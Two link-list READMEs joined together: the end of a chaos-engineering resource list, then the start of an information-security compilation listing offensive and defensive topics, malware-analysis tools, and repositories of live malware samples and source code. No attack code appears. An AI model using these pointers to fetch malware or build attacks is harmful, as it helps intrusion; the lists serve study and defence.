* [Turbulence](https://github.com/cppforlife/turbulence-release) - Tool focused on BOSH environments capable of stressing VMs, manipulating network traffic, and more. It is very simmilar to Gremlin.
* [chaosblade](https://github.com/chaosblade-io/chaosblade) - An Easy to Use and Powerful Chaos Engineering Toolkit.
* [KubeInvaders](https://github.com/lucky-sideburn/KubeInvaders) - Gamfied Chaos engineering tool for Kubernetes Clusters
* [Cthulhu](https://github.com/xmatters/cthulhu-chaos-testing) - Chaos Engineering tool that helps evaluating the resiliency of microservice systems simulating various disaster scenarios against a target infrastructure in a data-driven manner.
* [VMware Mangle](https://vmware.github.io/mangle/) - Orchestrating Chaos Engineering.
* [Byteman](https://byteman.jboss.org/) - A Swiss Army Knife for Byte Code Manipulation.
* [Litmus](https://github.com/litmuschaos/litmus) - Framework for Kubernetes environments that enables users to run test suites, capture logs, generate reports and perform chaos tests.
* [Perses](https://github.com/nicolasmanic/perses) - A project to cause (controlled) destruction to a JVM application.
* [ChaosKube](https://github.com/linki/chaoskube) - chaoskube periodically kills random pods in your Kubernetes cluster.
* [Chaos Mesh](https://github.com/chaos-mesh/chaos-mesh) - Chaos Mesh is a cloud-native Chaos Engineering platform that orchestrates chaos on Kubernetes environments.
* [failure-lambda](https://github.com/gunnargrosch/failure-lambda) - A small Node module for injecting failure into AWS Lambda using latency, exception, statuscode or diskspace.
* [aws-chaos-scripts](https://github.com/adhorn/aws-chaos-scripts) - Collection of python scripts to run failure injection on AWS infrastructure
* [chaos-ssm-documents](https://github.com/adhorn/chaos-ssm-documents) - Collection of AWS SSM Documents to perform Chaos Engineering experiments
* [aws-lambda-chaos-injection](https://github.com/adhorn/aws-lambda-chaos-injection) - A library injecting chaos into AWS Lambda. It offers simple python decorators to do delay, exception and statusCode injection and a Class to add delay to any 3rd party dependencies.
* [chaos-dingo](https://github.com/jmspring/chaos-dingo) - A tool to mess with Azure services using the Azure NodeJS SDK.
* [Chaos HTTP Proxy](https://github.com/bouncestorage/chaos-http-proxy) - Introduce failures into HTTP requests via a proxy server
* [Chaos Lemur](https://github.com/strepsirrhini-army/chaos-lemur) - A self-hostable application to randomly destroy virtual machines in a BOSH-managed environment
* [Simoorg](https://github.com/linkedin/simoorg) - Linkedin’s very own failure inducer framework.
* [react-chaos](https://github.com/jchiatt/react-chaos) - A chaos engineering tool for your React apps
* [vue-chaos](https://github.com/aviadhahami/vue-chaos) - A chaos engineering tool for your Vue apps
* [Chaos Engine](https://github.com/ThalesGroup/chaos-engine) - tool designed to intermittently destroy or degrade application resources running in cloud based infrastructure. [Documentation](https://thalesgroup.github.io/chaos-engine/)
* [kubedoom](https://github.com/storax/kubedoom) - Kill Kubernetes pods by playing Id's DOOM.
* [kubethanos](https://github.com/berkay-dincer/kubethanos) - Kills half of your randomly selected Kubernetes pods.
* [go-fault](https://github.com/github/go-fault) - Fault injection middleware in Go
* [Proofdock's Chaos Engineering Platform](https://proofdock.io) - A chaos engineering platform that seamlessly integrates in Azure DevOps and has a focus on the Azure cloud platform.
* [Pystol](https://www.pystol.org/docs) - Pystol is a fault injection platform allowing users to execute fault injection Actions in cloud-native environments in a controlled and prescribed way.
* [AWSSSMChaosRunner](https://github.com/amzn/awsssmchaosrunner) - Amazon's light-weight open-source library for chaos engineering on AWS. It can be used for [EC2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/concepts.html), [ECS (with EC2 launch type)](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-ecs-ec2.html) and [Fargate](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html).
* [Kraken](https://github.com/cloud-bulldozer/kraken) - Chaos and resiliency testing tool for Kubernetes and OpenShift.
* [kube-burner](https://github.com/cloud-bulldozer/kube-burner) - A tool aimed at stressing Kubernetes clusters by creating or deleting a high quantity of objects.
* [Chaos Experimentation Framework](https://github.com/lyft/clutch) - An extensible platform for infrastructure management including Chaos Engineering
* [NetHavoc](https://www.cavisson.com/nethavoc-resilience-testing-solution/) - A Chaos Engineering Tool for Linux, K8s, Windows, PCF, Cloud, and Containers for injecting Resource, Infrastructure, Network, and Application failures.
* [gorm-sqlchaos](https://github.com/u2386/gorm-sqlchaos) - A runtime SQL manipulator for your Golang applications based on gorm.
* [Chaos Frontend Toolkit](https://chaos-frontend-toolkit.web.app/) - A set of tools to apply Chaos Engineering to frontend
* [Mitigant](https://mitigant.io/) - The Continuos Security Verification Platform, enables confidence in cloud security posture by leveraging security chaos engineering.
## Retired tools
* [The Simian Army](https://github.com/Netflix/SimianArmy) - A suite of tools for keeping your cloud operating in top form.
* [ChaoSlingr](https://github.com/Optum/ChaoSlingr) - Introducing Security Chaos Engineering. ChaoSlingr focuses primarily on the experimentation on AWS Infrastructure to proactively instrument system security failure through experimentation.
## Cloud Services
* [Testing Amazon Aurora Using Fault Injection Queries](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/AuroraMySQL.Managing.html#AuroraMySQL.Managing.FaultInjectionQueries)
* [Azure Chaos Studio](https://aka.ms/azurechaosstudio) - A managed fault injection service for Azure applications. See also [Azure Fault Analysis Service](https://docs.microsoft.com/azure/service-fabric/service-fabric-testability-overview) for Azure Service Fabric applications.
* [Security Chaos Engineering for Cloud Services](https://medium.com/@run2obtain/from-resilience-to-dependability-security-chaos-engineering-for-cloud-services-9c6d6d152ed2)
## Papers
* [Maelstrom: Mitigating Datacenter-level Disasters by Draining Interdependent Traffic Safely and Efficiently](https://www.usenix.org/system/files/osdi18-veeraraghavan.pdf)
* [Simple Testing Can Prevent Most Critical Failures: An Analysis of Production Failures in Distributed Data-Intensive Systems](https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf)
* [Automating Failure Testing Research at Internet Scale ](https://people.ucsc.edu/~palvaro/fit-ldfi.pdf)
* [Principles of Antifragile Software](https://arxiv.org/abs/1404.3056)
* [Why is random testing effective for partition tolerance bugs?](https://dl.acm.org/citation.cfm?id=3177123.3158134)
* [Chaos Engineering](https://arxiv.org/abs/1702.05843)
* [A Platform for Automating Chaos Experiments](https://arxiv.org/abs/1702.05849)
* [A Chaos Engineering System for Live Analysis and Falsification of Exception-handling in the JVM](https://arxiv.org/abs/1805.05246)
* [TripleAgent: Monitoring, Perturbation And Failure-obliviousness for Automated Resilience Improvement in Java Applications](https://arxiv.org/abs/1812.10706)
* [Lineage-driven Fault Injection](https://dl.acm.org/citation.cfm?id=2723711)
* [Antifragility is a Fragile Concept](https://www.linkedin.com/pulse/antifragility-fragile-concept-casey-rosenthal/)
* [Chaos Engineering Security](https://jaxenter.com/chaos-engineering-security-163358.html)
* [Security Chaos Engineering: A new paradigm for cybersecurity](https://opensource.com/article/18/1/new-paradigm-cybersecurity)
* [Security Challenges around Chaos Engineering](https://www.conjur.org/blog/security-challenges-around-chaos-engineering/)
* [CloudStrike: Security Chaos Engineering for Cloud Services](https://www.researchgate.net/publication/335922038_Security_Chaos_Engineering_for_Cloud_Services)
* [Observability and Chaos Engineering on System Calls for Containerized Applications in Docker](https://arxiv.org/abs/1907.13039)
* [Maximizing Error Injection Realism for Chaos Engineering with System Calls](https://arxiv.org/abs/2006.04444)
* [Chaos Engineering of Ethereum Blockchain Clients](https://arxiv.org/abs/2111.00221)
## Gamedays
* [Target: What is a Gameday?](https://tech.target.com/2019/05/09/chaos-engineering-at-Target.html) - Chaos Gamedays experience by Target.
* [Codecentric: Chaos Engineering Gamedays](https://blog.codecentric.de/en/2018/08/chaos-engineering-gameday/) - Chaos Gamedays by Codecentric.
* [New Relic: How to run a Gameday?](https://blog.newrelic.com/engineering/how-to-run-a-game-day/) - Chaos Gamedays experience by New Relic.
* [Dius: Gamedays resources](https://dius.com.au/resources/game-day/) - Resources for getting started with GameDay and Chaos Engineering.
* [Gremlin: Gamedays](https://www.gremlin.com/gameday/) - Resources for getting started with GameDay and Chaos Engineering.
* [Gremlin: What is a Chaos Day?](https://www.gremlin.com/community/tutorials/planning-your-own-chaos-day/#what-is-a-chaos-day) - What is a Gameday according Gremlin.
* [Gremlin: Why run a Chaos Day?](https://www.gremlin.com/community/tutorials/planning-your-own-chaos-day/#why-run-a-chaos-day) - Reasons to run Gamedays according Gremlin.
* [Gremlin: How to run a Gameday?](https://www.gremlin.com/community/tutorials/how-to-run-a-gameday/) - Methodology to run Gamedays according Gremlin.
* [Gremlin DB: Breaking Dynamo DB](https://www.gremlin.com/community/tutorials/gremlin-gameday-breaking-dynamodb/) - Example of a Gameday with DynamoDB by Gremlin.
* [Gremlin: Introduction to Gameday](https://www.gremlin.com/community/tutorials/introduction-to-gamedays/) - What is a Gameday according Gremlin.
* [Gremlin: Planning your own Chaos Day](https://www.gremlin.com/community/tutorials/planning-your-own-chaos-day/) - Example of a Gameday with DynamoDB by Gremlin.
* [Gremlin: Inside Gremlin 2019 Gremlin Gamedays Roadmap](https://www.gremlin.com/community/tutorials/inside-gremlin-2019-gremlin-gamedays-roadmap/) - Chaos Gamedays experience by Gremlin.
* [Gremlin: What I lerned running the Chaos Lab with Kafka](https://www.gremlin.com/community/tutorials/what-i-learned-running-the-chaos-lab-kafka-breaks/) - Example of a Gameday with Kafka by Gremlin.
* [Chaos Toolkit: Chaos Engineering with Humans in the loop](https://medium.com/chaos-toolkit/chaos-engineering-with-humans-in-the-loop-f4854900b1eb) - Article about Chaos Gamedays.
* [GooCardless: All fun and games until you start with Gamedays](https://gocardless.com/blog/game-days-at-gc/) - Article about Chaos Gamedays.
* [InfoQ: Gamedays - Achieving Resilience through Chaos Engineering](https://www.infoq.com/presentations/gameday-chaos-engineering) - InfoQ Presentation with experiences about Chaos Gamedays.
## Blogs & Newsletters
* [Netflix Technology Blog](https://medium.com/@NetflixTechBlog) - Learn more about how Netflix designs, builds, and operates our systems and engineering organizations.
* [Production Ready](https://tinyletter.com/production-ready) - A mailing list about building resilient infrastructure and tools.
* [SRE Weekly](https://sreweekly.com/) - Weekly Site Reliability Newsletter.
* [Site Reliability Engineering resources](https://github.com/dastergon/awesome-sre) - A curated list of awesome Site Reliability and Production Engineering resources.
* [SysAdvent](https://sysadvent.blogspot.com) - One article for each day of December, ending on the 25th article.
* [Gremlin Blog](https://blog.gremlininc.com) - Blogs on Chaos Engineering from Gremlin Inc.
* [O’Reilly Systems Engineering and Operations Newsletter](http://www.oreilly.com/webops-perf/newsletter.html) - Weekly systems engineering and operations news and insights from industry insiders.
* [LaunchDarkly Blog](http://blog.launchdarkly.com/) - Continuous delivery and feature flags blog.
* [Verica](https://www.verica.io/) - Chaos engineering, security chaos engineering and continuous verification.
* [Proofdock](https://medium.com/proofdock) - Reliability, resilience and chaos engineering with a focus on MS Azure
* [LitmusChaos Blog](https://dev.to/t/litmuschaos/latest) - Blogs on Chaos Engineering from LitmusChaos
* [ChaosEngineering.news](https://chaosengineering.news/) - Chaos Engineering newsletter. All things chaos engineering, directly to your inbox!
* [Chaos Mesh Blog](https://chaos-mesh.org/blog) - Blogs on Chaos Engineering from Chaos Mesh.
* [Chaos Experimentation Framework](https://eng.lyft.com/chaos-experimentation-an-open-source-framework-built-on-top-of-envoy-proxy-df87519ed681) Chaos Experimentation, an open-source framework built on top of Envoy Proxy
* [Squadcast](https://squadcast.com/blog)- Blog on Site Reliability engineering.
* [steadybit Blog](https://www.steadybit.com/blog) - Blogs on Chaos Engineering, Resilience, SRE and OPS from steadybit.
## Podcasts
* [Break Things On Purpose](https://podcasts.apple.com/us/podcast/break-things-on-purpose/id1460542551) - Monthly podcast about Chaos Engineering presented by Gremlin Inc. Also available on Spotify, Google Play, and Stitcher.
## Conferences & Meetups
* [Chaos Carnival](https://chaoscarnival.io/) - A global two-day virtual conference for Cloud Native Chaos Engineering.
* [Chaos Conf](https://chaosconf.splashthat.com/) - A day of Chaos Engineering demos, expert advice, and connect with your peers putting chaos into practice at their companies.
* [SRECon Conferences](https://www.usenix.org/conferences/byname/925) - The official SRE conference.
* [LISA Conferences](https://www.usenix.org/conferences/byname/5) - Prominent conference about SysAdmin/DevOps/SRE.
* [O'Reilly Velocity Conference](https://conferences.oreilly.com/velocity/) - Prominent conference about Systems Engineering/DevOps/SRE.
* [Chaos Engineering Community Meetup Group](https://www.meetup.com/Chaos-Engineering-Community/) - Bay Area Meetup group for Chaos Engineers.
* [London Chaos Engineering Community](https://www.meetup.com/London-Chaos-Engineering-Community/) _ London Area Meetup group for Chaos Engineers.
* [Stockholm Chaos Engineering Meetup](https://www.meetup.com/Stockholm-Chaos-Engineering-Community/) Stockholm Meetup group for Chaos Engineers.
* [Chaos Engineering Community](https://www.meetup.com/pro/chaos/) - A collection of meetups across the globe about Chaos Engineerings.
* [Conf42.com: Chaos Engineering](https://conf42.com) - Chaos Engineering for practitioners and adopters - London UK, 23 Jan 2020.
* [Kubernetes Chaos Engineering Meetup Group India](https://www.meetup.com/Kubernetes-Chaos-Engineering-Meetup-Group-India/)- India Meetup group for Chaos Engineers.
## Forums
* [Chaos Community Google Group](https://groups.google.com/forum/#!forum/chaos-community)
* [Chaos Engineering LinkedIn Group](https://www.linkedin.com/groups/7057761)
* [Chaos Engineering Slack Community](https://gremlin.com/community)
* [CNCF Chaos Engineering Working Group](https://groups.google.com/forum/#!forum/chaoseng-wg)
* CNCF Chaos Engineering Working Group Slack: #chaosengineering (slack.cncf.io)
* [CNCF Chaos Engineering Working Group Github](https://github.com/chaoseng/wg-chaoseng)
* [Chaos Toolkit Slack Community](https://join.chaostoolkit.org)
* [Litmus Chaos Engineering Slack Community](https://slack.litmuschaos.io/)
## Contributing
Please take a look at the [contribution guidelines](CONTRIBUTING.md) first. Contributions are always welcome!
|
# Infosec Compilation
Infosec Compilation is an information security repository for offensive, defensive, and purple-teaming resources, along with guides designed for advanced penetration testing tactics, techniques, and procedures (TTPs) based on the MITRE framework
# Table of Contents
* [Homelab](#homelab)
* [Repository](#repository)
* [Active Directory](#active-directory)
* [Reverse Engineering](#reverse-engineering)
* [Sandbox](#sandbox)
* [Network Access Control (NAC)](#network-access-control-nac)
* [Vulnerable Images](#vulnerable-images)
* [Malware Binaries](#malware-binaries)
* [Reverse Engineering Guides](#reverse-engineering-guides)
* [Malware Analysis Homelab Setup](#malware-analysis-homelab-setup)
* [Malware Tools](#malware-tools)
* [Endpoint Detection & Response (EDR)](#endpoint-detection--response-edr)
* [Security Incident Event Monitoring (SIEM)](#security-incident-event-monitoring-siem)
* [Log Management](#log-management)
* [Monitoring](#monitoring)
* [Hacking References & Cheatsheets](#hacking-references--cheatsheets)
* [Offensive Security Tools](#offensive-security-tools)
* [Reconnaissance Tools](#reconnaissance-tools)
* [Anonymity Tools](#anonymity-tools)
* [OSINT Frameworks](#osint-frameworks)
* [Search Engines](#search-engines)
* [Source Code Search](#source-code-search)
* [Crypto OSINT](#crypto-osint)
* [Government Record Search](#government-record-search)
* [Social Media](#social-media)
* [Credentials](#credentials)
* [Email](#email)
* [Personal Investigations](#personal-investigations)
* [Phone Numbers](#phone-numbers)
* [Company Research](#company-research)
* [Location](#location)
* [Image Search](#image-search)
* [Dorking](#dorking)
* [Web History](#web-history)
* [Web Monitoring](#web-monitoring)
* [Social Network Analysis](#social-network-analysis)
* [Network Recon Tools](#network-recon-tools)
* [Domain](#domain)
* [Breached Credentials](#breached-credentials)
* [Vulnerability Scanners](#vulnerability-scanners)
* [Misc OSINT Tools](#misc-osint-tools)
* [Threat Hunting / Intelligence](#threat-hunting--intelligence)
* [Resource Development Tools](#resource-development-tools)
* [Pentesting OS Distributions](#pentesting-os-distributions)
* [Multi-Paradigm Frameworks](#multi-paradigm-frameworks)
* [Hardware](#hardware)
* [CLI Usability](#cli-usability)
* [Initial Access Tools](#initial-access-tools)
* [Phishing](#phishing)
* [Social Engineering Tools](#social-engineering-tools)
* [Execution Tools](#execution-tools)
* [C2 Frameworks](#c2-frameworks)
* [Multi-Paradigm Frameworks](#multi-paradigm-frameworks)
* [Post=Exploitation](#post-exploitation)
* [Persistence Tools](#persistence-tools)
* [Privilege Escalation Tools](#privilege-escalation-tools)
* [Windows Utliities](#windows-utilities)
* [Linux Utilities](#linux-utilities)
* [macOS Utilities](#macos-utilities)
* [Defense Evasion Tools](#defense-evasion-tools)
* [Evade AV / EDR](#evade-avedr)
* [Packet Injection](#packet-injection)
* [Wrappers](#wrappers)
* [Credential Access Tools](#credential-access-tools)
* [Password Attacks](#password-attacks)
* [Hash Cracking](#hash-cracking)
* [Discovery Tools](#discovery-tools)
* [Network Tools](#network-tools)
* [Protocol Analyzers & Sniffers](#protocol-analyzers--sniffers)
* [Proxies & MITM Tools](#proxies--mitm-tools)
* [Wireless Network Tools](#wireless-network-tools)
* [TLS Tools](#tls-tools)
* [Cryptography](#cryptography)
* [Lateral Movement Tools](#lateral-movement-tools)
* [Collection Tools](#collection-tools)
* [Impact](#impact)
* [Remediation / Reporting](#remediation--reporting)
* [Cloud Pentesting](#cloud-pentesting)
* [AWS](#aws)
* [GCP](#gcp)
* [Azure](#azure)
* [Misc Cloud](#misc-cloud)
* [Active Directory](#active-directory)
* [Compilation of Tools](#compilation-of-tools)
* [Python](#python)
* [Wireless Pentesting](#wireless-pentesting)
* [Car Hacking](#car-hacking)
* [Adversary Emulation](#adversary-emulation)
* [Defensive Security Tools](#defensive-security-tools)
* [Purple Teaming / Security Training](#purple-teaming--security-training)
* [Static Analyzers](#static-analyzers)
* [Dynamic Analyzers](#dynamic-analyzers)
* [Hex Editors](#hex-editors)
* [File Format Analysis Tools](#file-format-analysis-tools)
* [Forensic Tools](#forensic-tools)
* [Incident Response](#incident-response)
* [Disk Image Creation Tools](#disk-image-creation-tools)
* [Evidence Collection Tools](#evidence-collection-tools)
* [Incident Management Tools](#incident-management-tools)
* [Linux Forensics Distributions](#linux-forensics-distributions)
* [OSX Evidence Collection](#osx-evidence-collection)
* [Log Analysis Tools](#log-analysis-tools)
* [Process Dump Tools](#process-dump-tools)
* [Honeypot Tools](#honeypot-tools)
* [IDS / IPS](#ids--ips)
* [Timeline Tools](#timeline-tools)
* [Windows Evidence Collection](#windows-evidence-collection)
* [Governance Risk & Compliance (GRC)](#governance-risk--compliance-grc-tools)
* [Device Hardening](#device-hardening)
* [Auditing Tools](#auditing-tools)
* [Networking](#networking)
* [Books](#books)
* [InfoSec Books](#infosec-books)
* [Finance Books](#finance-books)
* [Psychology Books](#psychology-books)
* [Miscellaneous Books](#miscellaneous-books)
* [Education / Bootcamps / Programs / Certification Material](#education--bootcamps--programs--certification-material)
* [Bootcamps & Programs](#bootcamps--programs)
* [Threat Intelligence Platforms](#threat-intelligence-platforms)
* [Propietary](#propietary)
* [OSINT](#osint)
* [Threat Hunting Training](#threat-hunting-training)
* [Information Security Certifications](#information-security-certifications)
* [Security Training Platforms](#security-training-platforms)
* [Cloud Pentesting Training](#cloud-pentesting-training)
* [Offensive Development](#offensive-development)
* [Defensive Development](#defensive-development)
* [Azure](#azure)
* [Methodologies](#methodologies)
* [Documentaries](#documentaries)
* [Social Engineering Articles](#social-engineering-articles)
* [Resource Compilation](#resource-compilation)
* [Bug Hunting](#bug-hunting)
* [Powershell Automation](#powershell-automation)
* [Privacy](#privacy)
* [Cybersecurity Road Maps, Domains, etc.](#cybersecurity-maps-domains-etc)
* [Security News](#security-news)
* [Specific Articles](#specific-articles)
* [CVEs](#cves)
* [Freelancing Sites](#freelancing-sites)
* [Support Organizations](#support-organizations)
* [Black Tech Organizations](#black-tech-organizations)
* [Conferences](#Conferences)
* [Cybersecurity Apparel](#cybersecurity-apparel)
* [Alpha Cyber Security](https://www.teepublic.com/user/djax120)
* [Blogging](#blogging)
<br>
<hr>
# Homelab
## Repository
* [Blue Team Homelab](https://github.com/aboutsecurity/blueteam_homelabs) — Blue Team Environment
* [SecGen](https://github.com/cliffe/SecGen) — Creates vulnerable VMs, Lab Environments, & Hacking challenges
* [DetectionLab](https://github.com/clong/DetectionLab) - Quickly build a Windows domain with pre-loaded with security tooling and system logging configurations
## Active Directory
* [SpookySec](https://lnkd.in/eN8V88kv)
* [Vulnerable-AD](https://github.com/WazeHell/vulnerable-AD) - Set up a Vulnerable AD lab
## Reverse Engineering
* [https://c3rb3ru5d3d53c.github.io/docs/malware-analysis-beginner-guide/](https://c3rb3ru5d3d53c.github.io/docs/malware-analysis-beginner-guide/) - Reverse Engineering Guide
* [Balbuzard](https://github.com/decalage2/balbuzard) - Malware analysis tool with reverse obfuscation.
* [binwalk](https://github.com/ReFirmLabs/binwalk) - Fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images.
* [Capstone](https://www.capstone-engine.org/) - Lightweight multi-platform, multi-architecture disassembly framework.
* [Cuckoo Modified API](https://github.com/keithjjones/cuckoo-modified-api) - Python API for Cuckoo Modified.
* [Cuckoo Modified](https://github.com/brad-sp/cuckoo-modified) - Fork of Cuckoo Sandbox with multiple improvements.
* [Cuckoo Sandbox](https://cuckoosandbox.org/) - Online malware scanner.
* [de4dot](https://github.com/de4dot/de4dot) - .NET deobfuscator and unpacker.
* [dnSpy](https://github.com/dnSpy/dnSpy) - Tool to reverse engineer .NET assemblies.
* [Dovehawk] (https://github.com/tylabs/dovehawk) - Dovehawk is a Zeek module that automatically imports MISP indicators and reports Sightings
* [DRAKVUF](https://github.com/tklengyel/drakvuf) - Virtualization based agentless black-box binary analysis system.
* [Evan's Debugger](http://codef00.com/projects#debugger) - OllyDbg-like debugger for GNU/Linux.
* [FireEye Labs Obfuscated String Solver (FLOSS)](https://github.com/fireeye/flare-floss) - Malware deobfuscator.
* [firmware.re](http://firmware.re/) - Firmware analyzier.
* [HaboMalHunter](https://github.com/Tencent/HaboMalHunter) - Automated malware analysis tool for Linux ELF files.
* [Hybrid Analysis](https://www.hybrid-analysis.com/) - Online malware scanner.
* [Immunity Debugger](https://debugger.immunityinc.com/) - Powerful way to write exploits and analyze malware.
* [Interactive Disassembler (IDA Pro)](https://www.hex-rays.com/products/ida/) - Proprietary multi-processor disassembler and debugger for Windows, GNU/Linux, or macOS; also has a free version, [IDA Free](https://www.hex-rays.com/products/ida/support/download_freeware/).
* [Malaice.io](https://github.com/maliceio/malice) - Open source malware analyzer.
* [Malheur](https://github.com/rieck/malheur) - Automated sandbox analysis of malware behavior.
* [Medusa](https://github.com/wisk/medusa) - Open source, cross-platform interactive disassembler.
* [Metadefender](https://metadefender.opswat.com/#!/) - Online file and hash analyzer.
* [NoMoreXOR](https://github.com/hiddenillusion/NoMoreXOR) - Frequency analysis tool for trying to crack 256-bit XOR keys.
* [OllyDbg](http://www.ollydbg.de/) - x86 debugger for Windows binaries that emphasizes binary code analysis.
* [PackerAttacker](https://github.com/BromiumLabs/PackerAttacker) - Generic hidden code extractor for Windows malware.
* [PacketTotal](https://packettotal.com/) - Online pcap file analyzer.
* [peda](https://github.com/longld/peda) - Python Exploit Development Assistance for GDB.
* [plasma](https://github.com/plasma-disassembler/plasma) - Interactive disassembler for x86/ARM/MIPS. Generates indented pseudo-code with colored syntax code.
* [PyREBox](https://github.com/Cisco-Talos/pyrebox) - Python scriptable Reverse Engineering sandbox by Cisco-Talos.
* [Radare2](https://www.radare.org/r/index.html) - Open source, crossplatform reverse engineering framework.
* [Ragpicker](https://github.com/robbyFux/Ragpicker) - Malware analysis tool.
* [rVMI](https://github.com/fireeye/rVMI) - Debugger on steroids; inspect userspace processes, kernel drivers, and preboot environments in a single tool.
* [Sandboxed Execution Environment](https://github.com/F-Secure/see) - Framework for building sandboxed malware execution environments.
* [unXOR](https://github.com/tomchop/unxor/) - Tool that guesses XOR keys using known plaintext attacks.
* [VirtualDeobfuscator](https://github.com/jnraber/VirtualDeobfuscator) - Reverse engineering tool for virtualization wrappers.
* [VirusTotal](https://www.virustotal.com/gui/home/upload) - Online malware scanner.
* [Voltron](https://github.com/snare/voltron) - Extensible debugger UI toolkit written in Python.
* [WDK/WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk) - Windows Driver Kit and WinDbg.
* [x64dbg](https://x64dbg.com/#start) - Open source x64/x32 debugger for windows.
* [xortool](https://github.com/hellman/xortool) - Tool for guessing XOR keys.
### Blacklisting Domains
* [AbuseIPDB](https://www.abuseipdb.com/) - Search engine for blacklisted IPs or domains.
* [AutoShun](https://riskanalytics.com/community/) - Public repository of malicious IPs and other resources.
* [BadIPs](https://www.badips.com/) - Online blacklist lookup.
* [Binary Defense IP Ban List](https://www.binarydefense.com/banlist.txt) - Public IP blacklist.
* [Blocklist Ipsets](https://github.com/firehol/blocklist-ipsets) - Public IP blacklist.
* [Exonera Tor](https://metrics.torproject.org/exonerator.html) - A database of IP addresses that have been part of the Tor network. It answers the question whether there was a Tor relay running on a given IP address on a given date.
* [Malware Domain List](http://www.malwaredomainlist.com/) - Search and share malicious URLs.
* [Spamcop](https://www.spamcop.net/bl.shtml) - IP based blacklist.
* [Spamhaus](https://www.spamhaus.org/lookup/) - Online blacklist lookup.
* [malc0de DNSSinkhole](http://malc0de.com/bl/) - List of domains that have been identified as distributing malware during the past 30 days.
* [malc0de DNSSinkhole](http://malc0de.com/bl/) - List of domains that have been identified as distributing malware during the past 30 days.
### Sandbox
* [Cuckoo](https://cuckoosandbox.org/) - open source automated malware analysis system
* [DRAKVUF Sandbox](https://github.com/CERT-Polska/drakvuf-sandbox/) - Automated black-box malware analysis system with DRAKVUF engine under the hood (Doesn't require an agent on guest OS)
* [PacketTotal](https://packettotal.com/) — Online PCAP Analysis Engine
* [Joe Sandbox Cloud](https://www.joesandbox.com/#windows) - Automated malware sandbox (Live interaction capabilities)
* [CAPE](https://github.com/kevoreilly/CAPEv2/) - Malware sandbox, derived from Cuckoo with the goal of adding automated malware unpacking and config extraction
- * [Cuckoo](https://github.com/cuckoosandbox) - Open Source Highly configurable sandboxing tool.
* [Cuckoo-modified](https://github.com/spender-sandbox/cuckoo-modified) - Heavily modified Cuckoo fork developed by community.
* [Cuckoo-modified-api](https://github.com/keithjjones/cuckoo-modified-api) - A Python library to control a cuckoo-modified sandbox.
* [Hybrid-Analysis](https://www.hybrid-analysis.com/) - Hybrid-Analysis is a free powerful online sandbox by Payload Security.
* [Malwr](https://malwr.ee/) - Malwr is a free online malware analysis service and community, which is powered by the Cuckoo Sandbox.
* [Mastiff](https://github.com/KoreLogicSecurity/mastiff) - MASTIFF is a static analysis framework that automates the process of extracting key characteristics from a number of different file formats.
* [Metadefender Cloud](https://metadefender.opswat.com/) - Metadefender is a free threat intelligence platform providing multiscanning, data sanitization and vulnerability assesment of files.
* [Viper](https://github.com/viper-framework/viper) - Viper is a python based binary analysis and management framework, that works well with Cuckoo and YARA
* [Virustotal](https://www.virustotal.com/gui/) - Virustotal, a subsidiary of Google, is a free online service that analyzes files and URLs enabling the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and website scanners.
* [Visualize_Logs](https://github.com/keithjjones/visualize_logs) - Open source. Visualization library and command line tools for logs.
## Network Access Control (NAC)
* [Packet Fence](https://www.packetfence.org/) — Open source NAC
## Vulnerable Images
* [Exploit Education](https://exploit.education) - Variety of resources to learn about vulnerability analysis, exploit development, software debugging, binary analysis, and general cyber security issues
* [Docker Images](https://houdini.secsi.io/) - Hundreds of offensive and useful Docker images for penetration testing
## Malware Binaries
* [VX-Underground](https://github.com/vxunderground/MalwareSourceCode) — Malware source code
* [VX-Underground’s Samples](https://samples.vx-underground.org/samples/Families/)
* [VXUnderground](https://github.com/vxunderground/MalwareSourceCode)
* [Zeltser Resources](https://zeltser.com/malware-sample-sources/)
* [ANY.RUN](https://app.any.run/submissions)
* [https://crackmes.one/](https://crackmes.one/) — Binaries for Reverse Engineering
* [Contagio Malware Dump](http://contagiodump.blogspot.com/)
* [CAPE Sandbox](https://capesandbox.com/)
* [Das Malwerk](http://dasmalwerk.eu/)
* [Hatching Triage](https://tria.ge/)
* [Hybrid Analysis](https://www.hybrid-analysis.com/)
* [InQuest Labs](https://labs.inquest.net/)
* [InQuest Malware Samples](https://github.com/InQuest/malware-samples)
* [KernelMode.info](http://www.kernelmode.info/forum/viewforum.php?f=16)
* [MalShare](http://malshare.com/)
* [MalwareBazaar](https://bazaar.abuse.ch/browse/)
* [MalwareSamples Malware-Feed](https://github.com/MalwareSamples/Malware-Feed/)
* [Malware DB](http://ytisf.github.io/theZoo/)
* [Objective-See Collection](https://objective-see.com/malware.html)
* [PacketTotal](https://packettotal.com/malware-archive.html)
* [PhishingKitTracker](https://github.com/marcoramilli/PhishingKitTracker)
* [PolySwarm](https://polyswarm.network/)
* [SNDBOX](https://app.sndbox.com/)
* [SoReL-20M](https://github.com/sophos-ai/SOREL-20M)
* [URLhaus](https://urlhaus.abuse.ch/browse/)
* [VirusBay](https://beta.virusbay.io/)
* [VirusShare](https://virusshare.com/)
* [VirusSign](https://www.virussign.com/downloads.html)
* [Virus and Malware Samples](https://www.virussamples.com/)
* [Yomi](https://yomi.yoroi.company/)
* [theZoo](https://github.com/ytisf/theZoo)
## Malware Analysis Homelab Setup
* [KVM Malware Lab](https://c3rb3ru5d3d53c.github.io/docs/kvm-malware-lab/)
## Malware Tools
* [Malware Analysis Tools](https://0x1.gitlab.io/security/Malware-Analysis-Tools-List/)
* [MalAPI](https://malapi.io/) — Catalog of Windows APIs commonly used in malware
* [Qu1cksc0pe] - All-in-One Static Malware Analysis Tool
## Endpoint Detection & Response (EDR)
* [Intezer Protect](https://www.intezer.com/intezer-protect/) — EDR built for your cloud
## Security Incident Event Monitoring (SIEM)
* [https://wazuh.com](https://wazuh.com/)
## Log Management
* [bugfender.com](https://bugfender.com/) — Free up to 100k log lines/day with 24 hours retention
* [humio.com](https://www.humio.com/) — Free up to 16 GB/day with 7 days retention
* [logdna.com](https://logdna.com) - Free for a single user, no retention, unlimited hosts and sources
* [logentries.com](https://logentries.com/) — Free up to 5 GB/month with 7 days retention
